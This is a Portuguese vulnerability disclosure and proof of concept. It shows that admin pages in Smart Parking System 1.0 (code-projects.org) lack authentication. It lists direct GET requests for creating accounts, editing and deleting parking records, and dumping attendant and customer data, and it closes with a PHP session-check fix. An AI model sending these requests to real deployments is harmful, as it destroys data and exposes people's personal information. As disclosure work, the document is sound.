
Prova de conceito demonstrando acesso não autenticado a funções administrativas críticas no Smart Parking System 1.0, permitindo criação de contas, manipulação de dados e exposição de PII.
| Campo | Detalhes |
|---|
| Produto | Smart Parking System |
| Fornecedor | code-projects.org |
| Versão | 1.0 |
| Classe de Vulnerabilidade | Ausência de Autenticação para Função Crítica (CWE-306) |
| ID CVE | Pendente |
| Pontuação CVSS | 9.8 Crítica (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticação Necessária | Nenhuma |
| Arquivos Afetados | attendant.php, edit.php, basic_table.php, basic_table2.php, admin_request.php |
O Smart Parking System 1.0 da code-projects.org não aplica autenticação em vários endpoints exclusivos de administrador. Um atacante remoto não autenticado pode acessar diretamente esses endpoints sem cookie de sessão e realizar operações privilegiadas, incluindo criação de contas de atendente, edição e exclusão de registros de estacionamento e visualização de todos os dados pessoais (PII) de clientes e dados de reservas.
Nenhuma credencial, nenhum token de sessão e nenhuma interação de qualquer usuário legítimo é necessária para explorar esta vulnerabilidade.
Sem credenciais / sem sessão
↓
Requisição GET direta aos endpoints de administrador
↓
attendant.php → criar contas de atendente fraudulentas
edit.php → ler e sobrescrever qualquer registro de estacionamento
basic_table.php → excluir qualquer registro de estacionamento
basic_table2.php → despejar todos os dados pessoais (PII) dos atendentes
admin_request.php → despejar todos os e-mails de clientes e dados de reservas
↓
Funcionalidade administrativa completa comprometida
Abra uma nova sessão de navegador sem cookies. Navegue até a raiz da aplicação. A página de login é apresentada, confirmando que não há sessão ativa:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
Navegue diretamente para o endpoint de registro de atendentes:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
Resultado: O formulário completo "Add Parking Attendant Details" é carregado com campos para nome, sobrenome, número de celular, rua, nome de usuário e senha. Um atacante pode registrar uma conta de atendente fraudulenta com acesso ao sistema.
Navegue diretamente para o endpoint de edição de registros de estacionamento:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
Resultado: O formulário "Update Parkings Details" é carregado pré-preenchido com valores reais do banco de dados:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
Um atacante pode sobrescrever qualquer campo e enviar para persistir as alterações diretamente no banco de dados.
Envie uma requisição GET direta para o endpoint de exclusão:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
Resultado: A aplicação responde com:
Parking deleted successfully
O registro é permanentemente destruído no banco de dados. Nenhuma autenticação, nenhum token CSRF e nenhum prompt de confirmação é necessário.
Navegue diretamente para o endpoint de listagem de atendentes:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
Resultado: A lista completa de atendentes é retornada, incluindo nomes, números de celular e ruas designadas:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
Navegue diretamente para o endpoint de solicitações de reservas do administrador:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
Resultado: Todos os registros de reservas de clientes são retornados, incluindo e-mails, vagas, horas e custos:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| Arquivo | Vulnerabilidade |
|---|---|
attendant.php | Criação de conta de atendente sem autenticação |
edit.php | Acesso de leitura/escrita sem autenticação a registros de estacionamento |
basic_table.php | Exclusão sem autenticação de registros de estacionamento |
basic_table2.php | Acesso sem autenticação a todos os dados pessoais (PII) dos atendentes |
admin_request.php | Acesso sem autenticação a todos os dados de reservas de clientes |
Adicione uma verificação de autenticação de sessão no topo de cada arquivo PHP voltado ao administrador:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}